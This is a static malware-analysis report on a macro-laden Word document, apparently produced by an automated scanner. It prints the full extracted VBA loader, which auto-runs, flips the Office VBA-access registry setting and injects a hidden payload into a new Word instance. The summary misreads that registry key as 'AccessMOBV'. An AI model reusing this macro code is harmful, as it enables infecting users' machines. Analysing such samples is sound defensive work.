Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1db1b2c1837ffb70…

MALICIOUS

Office (OOXML)

75.8 KB Created: 2021-05-04 08:56:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-23
MD5: e3dcfd537f449c23b0e4bc61f95e98d7 SHA-1: b1ba107173685163cb7d77ca6c923f6243f0d24b SHA-256: 1db1b2c1837ffb70708e4f5225a4c24df8ff53936bcfa601622140ade4d3878a
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

This OOXML document contains VBA macros, including an AutoOpen subroutine, which is a common technique for malicious documents. The script utilizes WScript.Shell to write a registry value, specifically 'HKCU\Software\Microsoft\Office\16.0\Word\Security\AccessMOBV\Word\', likely to establish persistence. The use of CreateObject and Shell() calls further indicates malicious intent.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub dataReference(varOptionSize)
With CreateObject("wscript.shell")
.RegWrite varOptionSize, 1, "REG_DWORD"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub indexClear(lenTrustMain As String)
Set pasteExceptionListbox = CreateObject("word.application")
With pasteExceptionListbox.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "valueIndex"
Sub autoopen()
leftResponse
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1800 bytes
SHA-256: e34bf7692c33e98d97b2aceaf4ffa1aba0c94d2fb7148b293caa5e8046806f5f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{F9E8187E-8433-4642-A2AB-8EB97AD45C75}{0FD4C95C-211E-4C7F-BA40-5EFDDAE65327}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "valueIndex"
Sub autoopen()
leftResponse
Dim libWindowException As String
libWindowException = memoryRequestVariable
indexClear libWindowException
End Sub

Attribute VB_Name = "clearClassSelect"
Sub indexClear(lenTrustMain As String)
Set pasteExceptionListbox = CreateObject("word.application")
With pasteExceptionListbox.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString lenTrustMain
End With
pasteExceptionListbox.Visible = False
pasteExceptionListbox.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "screenPaste"
Function tmpMainLib() As String
tmpMainLib = Application.Version
End Function
Sub dataReference(varOptionSize)
With CreateObject("wscript.shell")
.RegWrite varOptionSize, 1, "REG_DWORD"
End With
End Sub
Sub leftResponse()
varOptionSize = StrReverse("\eciffO\tfosorciM\erawtfoS\RESU_TNERRUC_YEKH")
localTitleLocal = tmpMainLib
iteratorTrust = StrReverse("MOBVsseccA\ytiruceS\droW\")
dataReference varOptionSize & localTitleLocal & iteratorTrust
End Sub
Function memoryRequestVariable()
memoryRequestVariable = StrReverse(UserForm1.TextBox1)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23040 bytes
SHA-256: fd562ca3956addf9f4087cab49fec2d7c093f9ce2a4febfe82b0bd394345a1e6

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